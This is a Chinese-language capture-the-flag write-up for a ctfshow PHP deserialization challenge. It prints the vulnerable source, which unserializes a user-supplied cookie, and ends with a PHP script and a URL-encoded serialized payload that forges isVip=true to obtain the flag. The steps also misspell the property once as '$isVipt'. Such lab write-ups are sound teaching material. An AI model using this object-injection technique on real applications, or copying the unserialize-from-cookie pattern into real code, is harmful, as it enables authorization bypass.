一、源码
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip; # 4.1 checkVip函数返回的为“假”,这里只要将$isVip=true设置成真即可。
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p; # 3.1 username和u、password和p相等即可。
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){ # 1. 判断username和password是否有值。
$user = unserialize($_COOKIE['user']); # 2. 反序列化cookie里的user 。
if($user->login($username,$password)){ # 3. 判断user对象里的login函数是否为真。
if($user->checkVip()){ # 4. 判断user对象里的checkVip函数是否为真。
$user->vipOneKeyGetFlag(); # 5.1 因为checkVip函数为“假”,所以不会执行到Getflag函数。,如果为真就会执行GetFlag
}
}else{
echo "no vip,no flag";
}
}
二、解题步骤
- 与web254相比,本次代码里没有将
$this->isVip
设置为true
的代码。
- 所以在序列化对象的时候就将
public $isVipt=true
即可。
三、payload
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
$user = new ctfShowUser();
echo urlencode(serialize($user));
//O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D